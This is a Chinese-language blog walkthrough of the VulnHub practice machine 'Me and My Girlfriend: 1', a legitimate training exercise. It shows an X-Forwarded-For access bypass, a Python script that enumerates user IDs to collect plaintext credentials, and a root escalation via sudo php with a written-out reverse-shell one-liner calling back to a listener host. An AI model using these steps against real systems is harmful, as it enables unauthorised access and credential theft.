vulnhub靶机-Me and My Girlfriend: 1
vulnhub靶机实战
1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
2.先看描述(要求)

- 通过这个我们可以知道我们需要找到alice隐藏的“东西”,说不定就是flag噢!!
- 这是一个初级难度,我们的目标是拿到2个flag,在哪呢???自己找
3.主机,端口发现
在vmware或者vitrualbox中导入靶机并启动,会自动获取ip地址,页面如下
我们先看下当前网络内的存活主机都有哪些:

因为我的内网里面虚拟机开的比较多,所以不好分辨哪台是靶机,这种情况的话你可以通过mac地址去匹配对应的ip地址,如上
靶机mac地址查看在虚拟机——〉右键设置——〉网络适配器——〉高级

然后扫描靶机开放了哪些端口

我们可以看到开启了80端口和22端口,每个端口对应着开启的服务如下:
参考链接:https://blog.csdn.net/wangye1989_0226/article/details/72961400
| 端口号 | 服务 |
|---|---|
| 80 | http 用于万维网(WWW)服务的超文本传输协议(HTTP) |
| 22 | ssh 安全 Shell(SSH)服务 |
开启了80端口说明开启了http服务,访问地址查看web服务

果不其然,发现请求被拒绝,提示我们只能通过本地去访问,我们查看源码发现让我们使用x-forwarded-for

我们抓包加入x-forwarded-for:127.0.0.1成功访问
GET / HTTP/1.1
Host: 192.168.33.65
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-forwarded-for:127.0.0.1
Upgrade-Insecure-Requests: 1

我们发现有注册登录框(注意后面每一个页面请求都需要加上本地访问噢!),我们注册一个账户并登陆发现有一个profile页面后面接了一个user_id的参数,页面直接显示出我们的用户名密码出来。

我们尝试修改user_id=1,发现显示了别人的信息,不妨写个脚本爆破一下所有的用户名密码瞅瞅

python脚本:(python学的不精,大家可以参考参考自行写脚本爆破!)
import re
import requests
if __name__ == '__main__':
for user_id in range(1,13):
burp0_url = f"http://192.168.33.65:80/index.php?page=profile&user_id={user_id}"
burp0_cookies = {"PHPSESSID": "ft21h9vkiehflhkv1qfago3c75"}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close", "x-forwarded-for": "127.0.0.1",
"Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
username = re.findall(r'<input type="text" name="username" id="username" value="(.*?)">',r)
passwd = re.findall(r'<input type="password" name="password" id="password" value="(.*?)">',r)
if username[0]:
print(username[0] + ":" + passwd[0])

还记得我们的描述吗?不记得就回去看看吧!我们发现了alice的账户密码,还记得上面开启了22端口吗?所以我们可以ssh连接上alice的账户。进去就是一顿ls,发现啥也没有,通过ls -al发现了什么,.my_secret,居然有秘密文件夹,打开看看

成功发现了第一个flag,还记得我们总共有两个flag,看到上面提示需要我们通过root权限获得另一个flag。
4.反弹shell提权
首先查看自己可以以root权限执行什么命令,发现自己是可以以root权限执行php命令的,而php又是可以执行本地命令的,所以就相当于alice可以执行root命令。

反弹shell:
首先在kali上面监听10086端口
nc -lvp 10086
然后靶机上的alice创建一个php反弹shell去连接它
sudo /usr/bin/php -r '$sock=fsockopen("192.168.33.136",10086);exec("/bin/bash -i <&3 >&3 2>&3");'
返回kali这边已经登录进root了,进去之后照例一顿乱瞅,成功获得第二个flag!!!


vulnhub靶机-Me and My Girlfriend: 1的更多相关文章
- vulnhub靶机Os-hackNos-1
vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...
- vulnhub靶机之DC6实战(wordpress+nmap提权)
0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...
- 对vulnhub靶机lampiao的getshell到脏牛提权获取flag
前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...
- Vulnhub靶场-Me and my girlfriend 学习笔记
靶机下载地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ Description: This VM tells us that ...
- PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT
猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...
- vulnhub靶机练习-Os-Hax,详细使用
Difficulty : Intermediate Flag : boot-root Learing : exploit | web application Security | Privilege ...
- vulnhub靶机练习-Os-hackNos-1,超详细使用
第一次写自己总结的文章,之后也会有更新,目前还在初学阶段. 首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1 简介: 难度容易到中, flag 两个 一个是普通用户的user.txt ...
- 脚本小子学习--vulnhub靶机DC8
@ 目录 前言 一.环境搭建 二.目标和思路 三.实际操作 1.信息收集 2.getshell 总结 前言 通过一些靶机实战练习,学习使用现有的工具来成为脚本小子. 一.环境搭建 靶机:Linux虚拟 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
随机推荐
- 【C#】GC和析构函数(Finalize 方法)
析构函数: (来自百度百科)析构函数(destructor) 与构造函数相反,当对象脱离其作用域时(例如对象所在的函数已调用完毕),系统自动执行析构函数.析构函数往往用来做"清理善后&quo ...
- QT 中的模态和非模态对话框
void MainWindow::on_pushButton_clicked() { //模态 QDialog dlg(this); dlg.resize(100,100); dlg.exec(); ...
- hystrix熔断机制修改配置
0.注意 0.1.如果使用command 的 execute( )方法的话,其实在一个for循环,执行多次,其实每个的执行顺序并不是固定的,如果你想固定,需要使用queue circuit break ...
- 设计模式<一>
设计原则1.找出应用中可能需要变化之处,把它们独立出来,不要和那些不需要变化的代码混在一起. 2.针对接口编程,而不是针对实现编程. 3.多用组合,少用继承. 一:策略模式,定义了算法族,分别封装起来 ...
- Java 大数加法HdAcm1002
1 import java.util.Scanner; 2 3 4 public class Main { 5 public static void main(String[] args) { 6 S ...
- xv6学习笔记(5) : 锁与管道与多cpu
xv6学习笔记(5) : 锁与管道与多cpu 1. xv6锁结构 1. xv6操作系统要求在内核临界区操作时中断必须关闭. 如果此时中断开启,那么可能会出现以下死锁情况: 进程A在内核态运行并拿下了p ...
- redis 《scan命令》
此命令十分奇特建议参考文档:http://redisdoc.com/database/scan.html#scan 222222222222222并非每次迭代都要使用相同的 COUNT 值. ...
- idea控制台中文乱码解决办法
也可以通过idea右下角的设置,但是properties文件是不能设置的,这个只能在file->setting->file encodings 设置
- Charles-抓取https请求
在未经设置之前,Charles是无法抓取https请求的,会出现unknown的标识.我们可以通过以下两步设置,解决该问题. 第一步:安装证书 https是在http的基础上加入ssl层,通过ssl来 ...
- 使用Keepalived实现Nginx的双机主备高可用
1.概述 前面我们聊过使用 Nginx 为 后端Tomcat 做负载均衡.高可用,但是这时Nginx又成了单点,如果Nginx不幸挂掉,整个网站便无法访问. 此时我们就会用到另一个软件 -- Keep ...